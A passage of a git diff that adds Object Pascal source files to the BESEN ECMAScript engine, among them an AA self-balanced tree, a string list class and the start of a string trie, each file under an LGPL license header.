+1,83 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENScope; +{$i BESEN.inc} + +interface + +uses BESENObject,BESENGarbageCollector; + +type TBESENScope=class(TBESENGarbageCollectorObject) + public + Next:TBESENScope; + Obj:TBESENObject; + constructor Create(AInstance:TObject;AObj:TBESENObject); overload; virtual; + destructor Destroy; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN; + +constructor TBESENScope.Create(AInstance:TObject;AObj:TBESENObject); +begin + inherited Create(AInstance); + Next:=nil; + Obj:=AObj; +end; + +destructor TBESENScope.Destroy; +begin + Obj:=nil; + inherited Destroy; +end; + +procedure TBESENScope.Finalize; +begin + Obj:=nil; + Next:=nil; + inherited Finalize; +end; + +procedure TBESENScope.Mark; +begin + if assigned(Obj) then begin + TBESEN(Instance).GarbageCollector.GrayIt(Obj); + end; + if assigned(Next) then begin + TBESEN(Instance).GarbageCollector.GrayIt(Next); + end; + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENSelfBalancedTree.pas b/Core/JS/BESENSelfBalancedTree.pas new file mode 100644 index 0000000..d5ff17d --- /dev/null +++ b/Core/JS/BESENSelfBalancedTree.pas @@ -0,0 +1,678 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENSelfBalancedTree; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENStringUtils; + +type PBESENSelfBalancedTreeValue=^TBESENSelfBalancedTreeValue; + TBESENSelfBalancedTreeValue=record + case boolean of + false:(i:int64); + true:(p:pointer); + end; + + PBESENSelfBalancedTreeNode=^TBESENSelfBalancedTreeNode; + TBESENSelfBalancedTreeNode=record + Parent,Left,Right,PreviousKey,NextKey:PBESENSelfBalancedTreeNode; + Level:int64; + Key:TBESENString; + Value:TBESENSelfBalancedTreeValue; + end; + + TBESENSelfBalancedTreeKeys=array of widestring; + + TBESENSelfBalancedTree=class + protected + procedure Skew(OldParent:PBESENSelfBalancedTreeNode); + function Split(OldParent:PBESENSelfBalancedTreeNode):boolean; + procedure RebalanceAfterLeafAdd(n:PBESENSelfBalancedTreeNode); + procedure DeleteNode(n:PBESENSelfBalancedTreeNode); + function First(StartNode:PBESENSelfBalancedTreeNode):PBESENSelfBalancedTreeNode; + function Next(n:PBESENSelfBalancedTreeNode):PBESENSelfBalancedTreeNode; + function FindNode(const Key:TBESENString):PBESENSelfBalancedTreeNode; + procedure ClearNode(var Node:PBESENSelfBalancedTreeNode); + procedure OptimizeNode(var Node:PBESENSelfBalancedTreeNode;MoreOptimize:boolean); + function GetValue(Key:TBESENString):TBESENSelfBalancedTreeValue; + procedure SetValue(Key:TBESENString;Value:TBESENSelfBalancedTreeValue); + public + RootNode:PBESENSelfBalancedTreeNode; + FirstKey,LastKey:PBESENSelfBalancedTreeNode; + constructor Create; + destructor Destroy; override; + function Find(const Key:TBESENString;var Value:TBESENSelfBalancedTreeValue):boolean; + function FindNearest(const Key:TBESENString):PBESENSelfBalancedTreeNode; + function Insert(const Key:TBESENString;Value:TBESENSelfBalancedTreeValue):PBESENSelfBalancedTreeNode; + procedure Remove(const Key:TBESENString); + procedure Optimize; + function Keys:TBESENSelfBalancedTreeKeys; + property Values[Key:TBESENString]:TBESENSelfBalancedTreeValue read GetValue write SetValue; default; + end; + +implementation + +constructor TBESENSelfBalancedTree.Create; +begin + inherited Create; + new(RootNode); + fillchar(RootNode^,sizeof(TBESENSelfBalancedTreeNode),#0); + RootNode^.Level:=$7fffffffffffffff; + FirstKey:=nil; + LastKey:=nil; +end; + +destructor TBESENSelfBalancedTree.Destroy; +begin + ClearNode(RootNode^.Left); + dispose(RootNode); + inherited Destroy; +end; + +function TBESENSelfBalancedTree.First(StartNode:PBESENSelfBalancedTreeNode):PBESENSelfBalancedTreeNode; +begin + try + if not assigned(StartNode^.Left) then begin + result:=nil; + exit; + end; + result:=StartNode; + while assigned(result^.Left) do begin + result:=result^.Left; + end; + except + result:=nil; + end; +end; + +function TBESENSelfBalancedTree.Next(n:PBESENSelfBalancedTreeNode):PBESENSelfBalancedTreeNode; +begin + try + if assigned(n^.Right) then begin + result:=n^.Right; + while assigned(result^.Left) do begin + result:=result^.Left; + end; + end else begin + while assigned(n^.Parent) and (n^.Parent^.Right=n) do begin + n:=n^.Parent; + end; + n:=n^.Parent; + if not assigned(n) then begin + result:=nil; + exit; + end; + result:=n; + end; + except + result:=nil; + end; +end; + +procedure TBESENSelfBalancedTree.Skew(OldParent:PBESENSelfBalancedTreeNode); +var NewParent:PBESENSelfBalancedTreeNode; +begin +{$ifdef UseAssert} + Assert(assigned(OldParent)); +{$endif} + NewParent:=OldParent^.Left; +{$ifdef UseAssert} + Assert(assigned(NewParent)); +{$endif} + if OldParent^.Parent^.Left=OldParent then begin + OldParent^.Parent^.Left:=NewParent; + end else begin + OldParent^.Parent^.Right:=NewParent; + end; + NewParent^.Parent:=OldParent^.Parent; + OldParent^.Parent:=NewParent; + + OldParent^.Left:=NewParent^.Right; + if assigned(OldParent^.Left) then begin + OldParent^.Left^.Parent:=OldParent; + end; + NewParent^.Right:=OldParent; + + if assigned(OldParent^.Left) then begin + OldParent^.level:=OldParent^.Left^.level+1; + end else begin + OldParent^.level:=1; + end; +end; + +function TBESENSelfBalancedTree.Split(OldParent:PBESENSelfBalancedTreeNode):boolean; +var NewParent:PBESENSelfBalancedTreeNode; +begin +{$ifdef UseAssert} + Assert(assigned(OldParent)); +{$endif} + NewParent:=OldParent^.Right; + if assigned(NewParent) and assigned(NewParent^.Right) and (NewParent^.Right^.level=OldParent^.Level) then begin + if OldParent^.Parent^.Left=OldParent then begin + OldParent^.Parent^.Left:=NewParent; + end else begin + OldParent^.Parent^.Right:=NewParent; + end; + NewParent^.Parent:=OldParent^.Parent; + OldParent^.Parent:=NewParent; + + OldParent^.Right:=NewParent^.Left; + if assigned(OldParent^.Right) then begin + OldParent^.Right^.Parent:=OldParent; + end; + NewParent^.Left:=OldParent; + + NewParent^.level:=OldParent^.level+1; + + result:=true; + end else begin + result:=false; + end; +end; + +procedure TBESENSelfBalancedTree.RebalanceAfterLeafAdd(n:PBESENSelfBalancedTreeNode); +begin + // n is a node that has just been inserted and is now a Leaf node. + n^.Level:=1; + n^.Left:=nil; + n^.Right:=nil; + n:=n^.Parent; + while n<>RootNode do begin + if (assigned(n^.Left) and (n^.Level<>(n^.Left^.Level+1))) or ((not assigned(n^.Left)) and (n^.Level<>1)) then begin + // this point the tree is correct, except (AA2) for n->Parent + Skew(n); + // We handle it (a Left add) by changing it into a Right add using Skew + // If the original add was to the Left side of a node that is on the + // Right side of a horizontal link, n now points to the rights side + // of the second horizontal link, which is correct. + // However if the original add was to the Left of node with a horizontal + // link, we must get to the Right side of the second link. + if (not assigned(n^.Right)) or (n^.Level<>n^.Right^.Level) then begin + n:=n^.Parent; + end; + end; + if not Split(n^.Parent) then begin + break; + end; + n:=n^.Parent; + end; +end; + +function TBESENSelfBalancedTree.FindNode(const Key:TBESENString):PBESENSelfBalancedTreeNode; +var n:PBESENSelfBalancedTreeNode; +begin + try + result:=nil; + n:=RootNode^.Left; + while assigned(n) do begin + case BESENStringCompare(Key,n^.Key) of + -1:begin + n:=n^.Left; + end; + 1:begin + n:=n^.Right; + end; + else begin + result:=n; + break; + end; + end; + end; + except + result:=nil; + end; +end; + +function TBESENSelfBalancedTree.FindNearest(const Key:TBESENString):PBESENSelfBalancedTreeNode; +var n:PBESENSelfBalancedTreeNode; +begin + try + result:=nil; + n:=RootNode^.Left; + while assigned(n) do begin + result:=n; + case BESENStringCompare(Key,n^.Key) of + -1:begin + n:=n^.Left; + end; + 1:begin + n:=n^.Right; + end; + else begin + break; + end; + end; + end; + except + result:=nil; + end; +end; + +function TBESENSelfBalancedTree.Insert(const Key:TBESENString;Value:TBESENSelfBalancedTreeValue):PBESENSelfBalancedTreeNode; +var n,s:PBESENSelfBalancedTreeNode; + LessThan:boolean; +begin + result:=nil; + try + n:=nil; + s:=RootNode^.Left; + while assigned(s) do begin + case BESENStringCompare(Key,s^.Key) of + -1:begin + s:=s^.Left; + end; + 1:begin + s:=s^.Right; + end; + else begin + n:=s; + break; + end; + end; + end; + if assigned(s) then begin + n^.Value:=Value; + end else begin + new(n); + fillchar(n^,sizeof(TBESENSelfBalancedTreeNode),#0); + n^.Key:=Key; + n^.Value:=Value; + if assigned(LastKey) then begin + n^.PreviousKey:=LastKey; + LastKey^.NextKey:=n; + LastKey:=n; + end else begin + FirstKey:=n; + LastKey:=n; + end; + s:=RootNode; + LessThan:=true; + while (LessThan and assigned(s^.Left)) or ((not LessThan) and assigned(s^.Right)) do begin + if LessThan then begin + s:=s^.Left; + end else begin + s:=s^.Right; + end; + LessThan:=Key<s^.Key; + end; + if LessThan then begin + s^.Left:=n; + end else begin + s^.Right:=n; + end; + n^.Parent:=s; + RebalanceAfterLeafAdd(n); + result:=n; + end; + except + result:=nil; + end; +end; + +procedure TBESENSelfBalancedTree.DeleteNode(n:PBESENSelfBalancedTreeNode); +var Leaf,Temp:PBESENSelfBalancedTreeNode; +begin + try + // If n is not a Leaf, we first swap it out with the Leaf node that just + // precedes it. + Leaf:=n; + if assigned(n^.Left) then begin + Leaf:=n^.Left; + while assigned(Leaf^.Right) do begin + Leaf:=Leaf^.Right; + end; + end else if assigned(n^.Right) then begin + Leaf:=n^.Right; + end; + + if Leaf^.Parent=n then begin + Temp:=Leaf; + end else begin + Temp:=Leaf^.Parent; + end; + if Leaf^.Parent^.Left=Leaf then begin + Leaf^.Parent^.Left:=nil; + end else begin + Leaf^.Parent^.Right:=nil; + end; + + if n<>Leaf then begin + if n^.Parent^.Left=n then begin + n^.Parent^.Left:=Leaf; + end else begin + n^.Parent^.Right:=Leaf; + end; + Leaf^.Parent:=n^.Parent; + if assigned(n^.Left) then begin + n^.Left^.Parent:=Leaf; + end; + Leaf^.Left:=n^.Left; + if assigned(n^.Right) then begin + n^.Right^.Parent:=Leaf; + end; + Leaf^.Right:=n^.Right; + Leaf^.level:=n^.level; + end; + if n<>RootNode then begin + n^.Key:=''; + if assigned(n^.PreviousKey) then begin + n^.PreviousKey^.NextKey:=n^.NextKey; + end else if FirstKey=n then begin + FirstKey:=n^.NextKey; + end; + if assigned(n^.NextKey) then begin + n^.NextKey^.PreviousKey:=n^.PreviousKey; + end else if LastKey=n then begin + LastKey:=n^.PreviousKey; + end; + dispose(n); + end; + + while Temp<>RootNode do begin + if (assigned(Temp^.Left) and (Temp^.level>(Temp^.Left^.level+1))) or ((not assigned(Temp^.Left)) and (Temp^.level>1)) then begin + dec(Temp^.level); + if Split(Temp) then begin + if Split(Temp) then begin + Skew(Temp^.Parent^.Parent); + end; + break; + end; + Temp:=Temp^.Parent; + end else if (assigned(Temp^.Right) and (Temp^.level<=(Temp^.Right^.level+1))) or ((not assigned(Temp^.Right)) and (Temp^.level<=1)) then begin + break; + end else begin + Skew(Temp); + { if assigned(Temp^.Right) then begin + if assigned(Temp^.Right^.Left) then begin + Temp^.Right^.level:=Temp^.Right^.level+1; + end else begin + Temp^.Right^.level:=1; + end; + end;} + if Temp^.level>Temp^.Parent^.level then begin + Skew(Temp); + Split(Temp^.Parent^.Parent); + break; + end; + Temp:=Temp^.Parent^.Parent; + end; + end; + except + end; +end; + +procedure TBESENSelfBalancedTree.Remove(const Key:TBESENString); +var n:PBESENSelfBalancedTreeNode; +begin + try + n:=RootNode^.Left; + while assigned(n) do begin + case BESENStringCompare(Key,n^.Key) of + -1:begin + n:=n^.Left; + end; + 1:begin + n:=n^.Right; + end; + else begin + DeleteNode(n); + break; + end; + end; + end; + except + end; +end; + +procedure TBESENSelfBalancedTree.ClearNode(var Node:PBESENSelfBalancedTreeNode); +begin + if not assigned(Node) then begin + exit; + end; + Node^.Key:=''; + if assigned(Node^.PreviousKey) then begin + Node^.PreviousKey^.NextKey:=Node^.NextKey; + end else if FirstKey=Node then begin + FirstKey:=Node^.NextKey; + end; + if assigned(Node^.NextKey) then begin + Node^.NextKey^.PreviousKey:=Node^.PreviousKey; + end else if LastKey=Node then begin + LastKey:=Node^.PreviousKey; + end; + ClearNode(Node^.Left); + ClearNode(Node^.Right); + dispose(Node); + Node:=nil; +end; + +procedure TBESENSelfBalancedTree.OptimizeNode(var Node:PBESENSelfBalancedTreeNode;MoreOptimize:boolean); +var Nodes:array of TBESENSelfBalancedTreeNode; + + NodeCount,NodeIndex:integer; + procedure CountNodes(Node:PBESENSelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + CountNodes(Node^.Left); + CountNodes(Node^.Right); + inc(NodeCount); + end; + procedure CollectNodes(Node:PBESENSelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + CollectNodes(Node^.Left); + if NodeIndex>=length(Nodes) then begin + NodeCount:=NodeIndex+1; + SetLength(Nodes,NodeCount); + end; + Nodes[NodeIndex].Key:=Node^.Key; + Nodes[NodeIndex].Value:=Node^.Value; + Node^.Key:=''; + inc(NodeIndex); + CollectNodes(Node^.Right); + end; + procedure FreeNodes(var Node:PBESENSelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + Node^.Key:=''; + if assigned(Node^.PreviousKey) then begin + Node^.PreviousKey^.NextKey:=Node^.NextKey; + end; + if assigned(Node^.NextKey) then begin + Node^.NextKey^.PreviousKey:=Node^.PreviousKey; + end; + if FirstKey=Node then begin + FirstKey:=Node^.NextKey; + end; + if LastKey=Node then begin + LastKey:=Node^.PreviousKey; + end; + CountNodes(Node^.Left); + CountNodes(Node^.Right); + dispose(Node); + Node:=nil; + end; + procedure DoInsertNode(const Node:TBESENSelfBalancedTreeNode); + var n,s:PBESENSelfBalancedTreeNode; + LessThan:boolean; + begin + new(n); + n^.Key:=Node.Key; + n^.Value:=Node.Value; + n^.Parent:=nil; + n^.Left:=nil; + n^.Right:=nil; + n^.Level:=0; + s:=RootNode; + LessThan:=true; + while (LessThan and assigned(s^.Left)) or ((not LessThan) and assigned(s^.Right)) do begin + if LessThan then begin + s:=s^.Left; + end else begin + s:=s^.Right; + end; + LessThan:=n^.Key<s^.Key; + end; + if LessThan then begin + s^.Left:=n; + end else begin + s^.Right:=n; + end; + n^.Parent:=s; + if assigned(LastKey) then begin + n^.PreviousKey:=LastKey; + LastKey^.NextKey:=n; + LastKey:=n; + end else begin + FirstKey:=n; + LastKey:=n; + end; + if not MoreOptimize then begin + RebalanceAfterLeafAdd(n); + end; + end; + procedure RepairNodes(var Node:PBESENSelfBalancedTreeNode); + begin + if not assigned(Node) then begin + exit; + end; + RepairNodes(Node^.Left); + RepairNodes(Node^.Right); + if assigned(Node^.Left) and assigned(Node^.Right) then begin + Node^.Level:=Node^.Left^.Level+1; + end else begin + Node^.Level:=1; + end; + end; + procedure ReinsertNodesForRepair(LowNode,HighNode:integer); + var MiddleNode:integer; + begin + if HighNode<LowNode then begin + exit; + end; + MiddleNode:=LowNode+((HighNode-LowNode) div 2); + DoInsertNode(Nodes[MiddleNode]); + Nodes[MiddleNode].Key:=''; + ReinsertNodesForRepair(LowNode,MiddleNode-1); + ReinsertNodesForRepair(MiddleNode+1,HighNode); + end; + procedure ReinsertNodes(LowNode,HighNode:integer); + var i:integer; + begin + for i:=LowNode to HighNode do begin + DoInsertNode(Nodes[i]); + Nodes[i].Key:=''; + end; + end; +var i:integer; +begin + if not assigned(Node) then begin + exit; + end; + try + Nodes:=nil; + NodeCount:=0; + CountNodes(Node); + SetLength(Nodes,NodeCount); + NodeIndex:=0; + CollectNodes(Node); + FreeNodes(Node); + if MoreOptimize then begin + ReinsertNodesForRepair(0,length(Nodes)-1); + RepairNodes(RootNode^.Left); + end else begin + ReinsertNodes(0,length(Nodes)-1); + end; + for i:=0 to length(Nodes)-1 do begin + Nodes[i].Key:=''; + end; + SetLength(Nodes,0); + except + end; +end; + +function TBESENSelfBalancedTree.Find(const Key:TBESENString;var Value:TBESENSelfBalancedTreeValue):boolean; +var n:PBESENSelfBalancedTreeNode; +begin + n:=FindNode(Key); + if assigned(n) then begin + Value:=n^.Value; + result:=true; + end else begin + fillchar(Value,sizeof(TBESENSelfBalancedTreeValue),#0); + result:=false; + end; +end; + +procedure TBESENSelfBalancedTree.Optimize; +begin + OptimizeNode(RootNode^.Left,true); +end; + +function TBESENSelfBalancedTree.Keys:TBESENSelfBalancedTreeKeys; +var CurrentNode:PBESENSelfBalancedTreeNode; + Count:integer; +begin + result:=nil; + Count:=0; + CurrentNode:=FirstKey; + while assigned(CurrentNode) do begin + inc(Count); + CurrentNode:=CurrentNode^.NextKey; + end; + SetLength(result,Count); + Count:=0; + CurrentNode:=FirstKey; + while assigned(CurrentNode) do begin + result[Count]:=CurrentNode^.Key; + inc(Count); + CurrentNode:=CurrentNode^.NextKey; + end; +end; + +function TBESENSelfBalancedTree.GetValue(Key:TBESENString):TBESENSelfBalancedTreeValue; +begin + Find(Key,result); +end; + +procedure TBESENSelfBalancedTree.SetValue(Key:TBESENString;Value:TBESENSelfBalancedTreeValue); +begin + Insert(Key,Value); +end; + +end. diff --git a/Core/JS/BESENStringList.pas b/Core/JS/BESENStringList.pas new file mode 100644 index 0000000..a7b4312 --- /dev/null +++ b/Core/JS/BESENStringList.pas @@ -0,0 +1,231 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENStringList; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes; + +type PBESENStringArray=^TBESENStringArray; + TBESENStringArray=array[0..(2147483647 div sizeof(TBESENString))-1] of TBESENString; + + TBESENStringList=class + private + FCount,FSize:integer; + function GetItem(index:integer):TBESENString; + procedure SetItem(index:integer;Value:TBESENString); + public + FList:PBESENStringArray; + constructor Create; + destructor Destroy; override; + procedure Clear; + function Add(Item:TBESENString):integer; + procedure Insert(index:integer;Item:TBESENString); + procedure Delete(index:integer); + function Remove(Item:TBESENString):integer; + function Find(Item:TBESENString):integer; + function IndexOf(Item:TBESENString):integer; + procedure Exchange(Index1,Index2:integer); + procedure SetCapacity(NewCapacity:integer); + procedure SetCount(NewCount:integer); + property Count:integer read FCount; + property Capacity:integer read FSize write SetCapacity; + property Item[index:integer]:TBESENString read GetItem write SetItem; default; + property Items[index:integer]:TBESENString read GetItem write SetItem; + end; + +implementation + +constructor TBESENStringList.Create; +begin + inherited Create; + FCount:=0; + FSize:=0; + FList:=nil; + Clear; +end; + +destructor TBESENStringList.Destroy; +begin + Clear; + inherited Destroy; +end; + +procedure TBESENStringList.Clear; +var i:integer; +begin + for i:=0 to FSize-1 do begin + FList^[i]:=''; + end; + FCount:=0; + FSize:=0; + ReallocMem(FList,0); +end; + +procedure TBESENStringList.SetCapacity(NewCapacity:integer); +var i:integer; +begin + if (NewCapacity>=0) and (NewCapacity<high(TBESENStringArray)) then begin + NewCapacity:=(NewCapacity+256) and not 255; + if FSize<>NewCapacity then begin + if NewCapacity<FSize then begin + for i:=NewCapacity to FSize-1 do begin + FList^[i]:=''; + end; + end; + ReallocMem(FList,NewCapacity*sizeof(TBESENString)); + if FSize<NewCapacity then begin + FillChar(FList^[FSize],(NewCapacity-FSize)*sizeof(TBESENString),#0); + end; + FSize:=NewCapacity; + end; + end; +end; + +procedure TBESENStringList.SetCount(NewCount:integer); +var i:integer; +begin + if (NewCount>=0) and (NewCount<high(TBESENStringArray)) then begin + if NewCount<FCount then begin + for i:=NewCount to FCount-1 do begin + FList^[i]:=''; + end; + end; + SetCapacity(NewCount); + FCount:=NewCount; + end; +end; + +function TBESENStringList.Add(Item:TBESENString):integer; +begin + result:=FCount; + SetCount(FCount+1); + FList^[result]:=Item; +end; + +procedure TBESENStringList.Insert(index:integer;Item:TBESENString); +var I:integer; +begin + if (index>=0) and (index<FCount) then begin + SetCount(FCount+1); + for I:=FCount-1 downto index do FList^[I+1]:=FList^[I]; + FList^[index]:=Item; + end else if index=FCount then begin + Add(Item); + end else if index>FCount then begin + SetCount(index); + Add(Item); + end; +end; + +procedure TBESENStringList.Delete(index:integer); +var I,J,K:integer; +begin + if (index>=0) and (index<FCount) then begin + K:=FCount-1; + J:=index; + for I:=J to K-1 do FList^[I]:=FList^[I+1]; + SetCount(K); + end; +end; + +function TBESENStringList.Remove(Item:TBESENString):integer; +var I,J,K:integer; +begin + result:=-1; + K:=FCount; + J:=-1; + for I:=0 to K-1 do begin + if FList^[I]=Item then begin + J:=I; + break; + end; + end; + if J>=0 then begin + dec(K); + for I:=J to K-1 do FList^[I]:=FList^[I+1]; + SetCount(K); + result:=J; + end; +end; + +function TBESENStringList.Find(Item:TBESENString):integer; +var I:integer; +begin + result:=-1; + for I:=0 to FCount-1 do begin + if FList^[I]=Item then begin + result:=I; + exit; + end; + end; +end; + +function TBESENStringList.IndexOf(Item:TBESENString):integer; +var I:integer; +begin + result:=-1; + for I:=0 to FCount-1 do begin + if FList^[I]=Item then begin + result:=I; + exit; + end; + end; +end; + +procedure TBESENStringList.Exchange(Index1,Index2:integer); +var TempString:TBESENString; +begin + if (Index1>=0) and (Index1<FCount) and (Index2>=0) and (Index2<FCount) then begin + TempString:=FList^[Index1]; + FList^[Index1]:=FList^[Index2]; + FList^[Index2]:=TempString; + end; +end; + +function TBESENStringList.GetItem(index:integer):TBESENString; +begin + if (index>=0) and (index<FCount) then begin + result:=FList^[index]; + end else begin + result:=''; + end; +end; + +procedure TBESENStringList.SetItem(index:integer;Value:TBESENString); +begin + if (index>=0) and (index<FCount) then begin + FList^[index]:=Value; + end; +end; + +end. diff --git a/Core/JS/BESENStringTree.pas b/Core/JS/BESENStringTree.pas new file mode 100644 index 0000000..25c6886 --- /dev/null +++ b/Core/JS/BESENStringTree.pas @@ -0,0 +1,356 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENStringTree; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENStringUtils; + +type TBESENStringTreeData=record + case boolean of + false:(i:int64); + true:(p:pointer); + end; + + PBESENStringTreeNode=^TBESENStringTreeNode; + TBESENStringTreeNode=record + TheChar:widechar; + Data:TBESENStringTreeData; + DataExist:longbool; + Previous,Next,Up,Down:PBESENStringTreeNode; + end; + + TBESENStringTree=class + public + Root:PBESENStringTreeNode; + function CreateBESENStringTreeNode(AChar:widechar):PBESENStringTreeNode; + procedure DestroyBESENStringTreeNode(Node:PBESENStringTreeNode); + public + constructor Create; + destructor Destroy; override; + procedure Clear; + procedure DumpTree; + procedure DumpList; + procedure AppendTo(DestBESENStringTree:TBESENStringTree); + procedure Optimize(DestBESENStringTree:TBESENStringTree); + function Add(Content:TBESENString;const Data:TBESENStringTreeData;Replace:boolean=false):boolean; + function Delete(Content:TBESENString):boolean; + function Find(Content:TBESENString;var Data:TBESENStringTreeData):boolean; + end; + +implementation + +constructor TBESENStringTree.Create; +begin + inherited Create; + Root:=nil; + Clear; +end; + +destructor TBESENStringTree.Destroy; +begin + Clear; + inherited Destroy; +end; + +function TBESENStringTree.CreateBESENStringTreeNode(AChar:widechar):PBESENStringTreeNode; +begin + getmem(result,sizeof(TBESENStringTreeNode)); + fillchar(result^.Data,sizeof(TBESENStringTreeData),#0); + result^.TheChar:=AChar; + result^.DataExist:=false; + result^.Previous:=nil; + result^.Next:=nil; + result^.Up:=nil; + result^.Down:=nil; +end; + +procedure TBESENStringTree.DestroyBESENStringTreeNode(Node:PBESENStringTreeNode); +begin + if not assigned(Node) then exit; + DestroyBESENStringTreeNode(Node^.Next); + DestroyBESENStringTreeNode(Node^.Down); + freemem(Node); +end; + +procedure TBESENStringTree.Clear; +begin + DestroyBESENStringTreeNode(Root); + Root:=nil; +end; + +procedure TBESENStringTree.DumpTree; +var Ident:integer; + procedure DumpNode(Node:PBESENStringTreeNode); + var SubNode:PBESENStringTreeNode; + IdentCounter,IdentOld:integer; + begin + for IdentCounter:=1 to Ident do write(' '); + write(Node^.TheChar); + IdentOld:=Ident; + SubNode:=Node^.Next; + while assigned(SubNode) do begin + write(SubNode^.TheChar); + if not assigned(SubNode^.Next) then break; + inc(Ident); + SubNode:=SubNode^.Next; + end; + writeln; + inc(Ident); + while assigned(SubNode) and (SubNode<>Node) do begin + if assigned(SubNode^.Down) then DumpNode(SubNode^.Down); + SubNode:=SubNode^.Previous; + dec(Ident); + end; + Ident:=IdentOld; + if assigned(Node^.Down) then DumpNode(Node^.Down); + end; +begin + Ident:=0; + DumpNode(Root); +end; + +procedure TBESENStringTree.DumpList; + procedure DumpNode(Node:PBESENStringTreeNode;const ParentStr:TBESENString); + var s:TBESENString; + begin + if not assigned(Node) then exit; + if Node^.DataExist then begin + s:=copy(ParentStr,0,length(ParentStr))+Node^.TheChar; + writeln({$ifndef BESENSingleStringType}BESENUTF16ToUTF8({$endif}s{$ifndef BESENSingleStringType}){$endif}); + end; + if assigned(Node^.Next) then begin + s:=copy(ParentStr,0,length(ParentStr))+Node^.TheChar; + DumpNode(Node^.Next,s); + end; + if assigned(Node^.Down) then DumpNode(Node^.Down,ParentStr); + end; +begin + if not assigned(Root) then exit; + DumpNode(Root,''); +end; + +procedure TBESENStringTree.AppendTo(DestBESENStringTree:TBESENStringTree); + procedure DumpNode(Node:PBESENStringTreeNode;const ParentStr:TBESENString); + var s:TBESENString; + begin + if not assigned(Node) then exit; + if Node^.DataExist then begin + s:=copy(ParentStr,0,length(ParentStr))+Node^.TheChar; + DestBESENStringTree.Add(s,Node^.Data); + end; + if assigned(Node^.Next) then begin + s:=copy(ParentStr,0,length(ParentStr))+Node^.TheChar; + DumpNode(Node^.Next,s); + end; + if assigned(Node^.Down) then DumpNode(Node^.Down,ParentStr); + end; +begin + if not assigned(DestBESENStringTree) then exit; + if not assigned(Root) then exit; + DumpNode(Root,''); +end; + +procedure TBESENStringTree.Optimize(DestBESENStringTree:TBESENStringTree); + procedure DumpNode(Node:PBESENStringTreeNode;ParentStr:TBESENString); + var s:TBESENString; + begin + if not assigned(Node) then exit; + ParentStr:=ParentStr; + if Node^.DataExist then begin + s:=copy(ParentStr,0,length(ParentStr))+Node^.TheChar; + DestBESENStringTree.Add(s,Node^.Data); + end; + if assigned(Node^.Next) then begin + s:=copy(ParentStr,0,length(ParentStr))+Node^.TheChar; + DumpNode(Node^.Next,s); + end; + if assigned(Node^.Down) then DumpNode(Node^.Down,ParentStr); + end; +begin + if not assigned(DestBESENStringTree) then exit; + DestBESENStringTree.Clear; + if not assigned(Root) then exit; + DumpNode(Root,''); +end; + +function TBESENStringTree.Add(Content:TBESENString;const Data:TBESENStringTreeData;Replace:boolean=false):boolean; +var StringLength,Position,PositionCounter:integer; + NewNode,LastNode,Node:PBESENStringTreeNode; + 